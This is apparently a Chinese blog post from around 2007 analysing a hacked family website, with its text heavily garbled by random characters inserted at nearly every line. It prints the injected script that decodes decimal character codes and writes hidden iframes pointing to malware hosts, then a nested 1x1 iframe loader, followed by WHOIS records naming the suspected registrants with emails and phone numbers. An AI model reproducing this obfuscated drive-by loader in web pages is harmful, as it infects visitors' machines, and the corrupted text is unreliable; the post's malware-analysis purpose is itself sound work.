首发在我的博客里面，
I[k"I( 1Zn8CmE V http://www.areway.cn/?p=175 Q*T 'tkp <skqq+ ;x\oY6: 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
:Q"|%#P hm73Zy <script>t=’60,105,102,114,97,109,101,
RV V` 32,115,114,99,61,104,116,116,112,58,47,47,
i:aW
.QZ. 102,114,101,101,46,117,45,117,117,117,46,99,
"&k(lQ4 110,47,101,114,114,111,114,46,104,116,109,
#PD6LO 32,119,105,100,116,104,61,49,48,48,32,104,
lh 'S_p8g 101,105,103,104,116,61,48,62,60,47,105,102,
y8s!sO 114,97,109,101,62′;
_ xv3UzD t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
M]r ?m@) =w+8q1!o <script>t=’60,105,102,114,97,109,101,32,115,
:K^J bQ 114,99,61,104,116,116,112,58,47,47,102,114,
wxvi)|) 101,101,46,117,45,117,117,117,46,99,110,47,
VSY p 101,114,114,111,114,46,104,116,109,32,119,
I)'bf/6? 105,100,116,104,61,49,48,48,32,104,101,105,
ujxr/8mjV 103,104,116,61,48,62,60,47,105,102,114,97,
#{|cSaX< 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
Cty #|6 k document.write(t);</script>
m4@NW*G{ ~i;{+j6Ho! <html xmlns=”
c$ZV vu http://www.w3.org/1999/xhtml .c-a$39 “>
@p*)^D6E\ <head>
u5A?; a <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
oV :oc, <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
9(TGkz(NA <title>首页 - 爱生活家庭网
IANSpWea? o0 C &ol_ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
1]G )41 转换字符串后的大概内容是（谁点击后果自付）：
q_.fVn:! <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
d:';s~ sRD
fA4/TF 查询玉米u-uuu.cn的详细信息：
RJ3oI+g I Domain Name: u-uuu.cn
pc*)^S ROID: 20070901s10001s64972306-cn
/j GBQ-X Domain Status: ok
@ M"gEeI9 Registrant Organization: 王雷
l@B9}Icq Registrant Name: 王雷
V,_m>$Mo Administrative Email:
czlovexs@126.com ) 6)bI.BY Sponsoring Registrar: 北京万网志成科技有限公司
W\kli';jyC Name Server:ns.yovole.com
y,nmPX?]n Name Server:ns1.yovole.com
VQla.Y Registration Date: 2007-09-01 17:54
V_SH90@)+ Expiration Date: 2008-09-01 17:54
z/{X {+Z 最后PING了一下地址 都没有什么….
\nZB@u;S 12n:)yQy 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
n6% ` <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
uAPVR <script language=”javascript” src=”
:82h GU http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 2 DW @}[G >
xrkl)7; 这个玉米应该有可能是木马作者的：
B}d&tH2^s foafau.info的详细信息：
}'x;J Access to INFO WHOIS information is provided to assist persons in
Kn~Rck|
] determining the contents of a domain name registration record in the
Zl5'%b$& Afilias registry database. The data in this record is provided by
@zg}x0] Afilias Limited for informational purposes only, and Afilias does not
)J S6W guarantee its accuracy. This service is intended only for query-based
Tsg9,/vXM access. You agree that you will use this data only for lawful purposes
)SmnLvL and that, under no circumstances will you use this data to: (a) allow,
^OY]Y+S`Ox enable, or otherwise support the transmission by e-mail, telephone, or
LQR2T5S/Q, facsimile of mass unsolicited, commercial advertising or solicitations
4qie&:4j to entities other than the data recipient’s own existing customers; or
F]3Y, {/V (b) enable high volume, automated, electronic processes that send
8v;^jo>ug queries or data to the systems of Registry Operator, a Registrar, or
BNK]Os Afilias except as reasonably necessary to register domain names or
Q6Gw!!Z5EA modify existing registrations. All rights reserved. Afilias reserves
zi-_ l the right to modify these terms at any time. By submitting this query,
#Lhv=0op you agree to abide by this policy.
Ki;SONSV~| Domain ID:D22418703-LRMS
-x//@8" Domain Name:FOAFAU.INFO
92DM1~
* Created On:20-Nov-2007 16:05:42 UTC
ss)x
fG Last Updated On:20-Nov-2007 16:05:44 UTC
f4f2xe7\Q Expiration Date:20-Nov-2008 16:05:42 UTC
_B^zm-}8|B Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
~18a&T: Status:CLIENT DELETE PROHIBITED
`t U Status:CLIENT RENEW PROHIBITED
Z4VFfGCTL Status:CLIENT TRANSFER PROHIBITED
\~5|~|9< Status:CLIENT UPDATE PROHIBITED
~ 29p|X< Status:TRANSFER PROHIBITED
!&VfOx:PN Registrant ID:GODA-040110615
8?+|4:#=*J Registrant Name:liu hong
]B tkoad Registrant Organization:
*HK w;I
Registrant Street1:beijing
3 ~v
1 7 Registrant Street2:
B ?VTIq> Registrant Street3:
/\8I l+0 Registrant City:beijing
T`EV
uRJ Registrant State/Province:
*|A QV: Registrant Postal Code:100000
+"?+Be Registrant Country:CN
o
<q* 3L5 Registrant Phone:+86.860108888777
7PY$=L48A Registrant Phone Ext.:
E8#
>k Registrant FAX:
;Q;j@yx Registrant FAX Ext.:
j !u)V1, Registrant Email:bbbshiji@163.com
UPh#YV 0/, Admin ID:GODA-240110615
&N7ji Admin Name:liu hong
?"d$SK"6Z Admin Organization:
L^+rsxR Admin Street1:beijing
VPUVPq~& Admin Street2:
1^\w7Rew 2 Admin Street3:
q\Y4v Wg Admin City:beijing
C%X O| sP Admin State/Province:
i5 rkP`)j Admin Postal Code:100000
gf Q ?k Admin Country:CN
iEvQ4S6tD Admin Phone:+86.860108888777
U[C4!k:0 Admin Phone Ext.:
Mkz_.;3 Admin FAX:
||Zup\QB Admin FAX Ext.:
=c[tHf Admin Email:bbbshiji@163.com
Y9+_MxC" Billing ID:GODA-340110615
[qYr~:` -[ Billing Name:liu hong
}E
'r?N Billing Organization:
|mb2<! ag{ Billing Street1:beijing
7j]v_2S` Billing Street2:
~e{ @ 5.g Billing Street3:
L:G#> Billing City:beijing
`%C -7D'? Billing State/Province:
j_Szw
w- Billing Postal Code:100000
V'vR(Wx Billing Country:CN
AcH-TIgM/ Billing Phone:+86.860108888777
H9cPtP~a) Billing Phone Ext.:
";K w? Billing FAX:
q-F
K=r 5 Billing FAX Ext.:
d#ir=+o{h Billing Email:bbbshiji@163.com
!J`lA Tech ID:GODA-140110615
ZaFt4# Tech Name:liu hong
yayhL
DL Tech Organization:
OK [J
h Tech Street1:beijing
{K,In)4 Tech Street2:
4-( kk0]`z Tech Street3:
~6 6xO9s Tech City:beijing
m#7(< # Tech State/Province:
>Fel) a Tech Postal Code:100000
</h ^%mnd Tech Country:CN
>L7s[vKn Tech Phone:+86.860108888777
COrk (V Tech Phone Ext.:
/ ;]5X Tech FAX:
ht3.e[%'b Tech FAX Ext.:
(`P\nnb Tech Email:bbbshiji@163.com
lPTx] =G Name Server:NS27.DOMAINCONTROL.COM
yeo&Qz2vU Name Server:NS28.DOMAINCONTROL.COM
P?54 "$b Name Server:
+EETo): Name Server:
&.?XntI9O Name Server:
*IG$"nu Name Server:
'Uok<; Name Server:
mB?x_6#d9 Name Server:
.fA*WQ!lb Name Server:
%oZ:Awx Name Server:
J$dwy$n Name Server:
\Cb JU Name Server:
Ut Z,q!sg Name Server:
C-'hXh;hQ {1W:@6tl 接着下载每个文件里面的代码：
ccD+AGM.
一步一步看..
W yL+HB} 
Fn w:alWr 
Ha'[uEDb 
yIMqQSt79z 
.HqFdsm 
WjV15\, 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
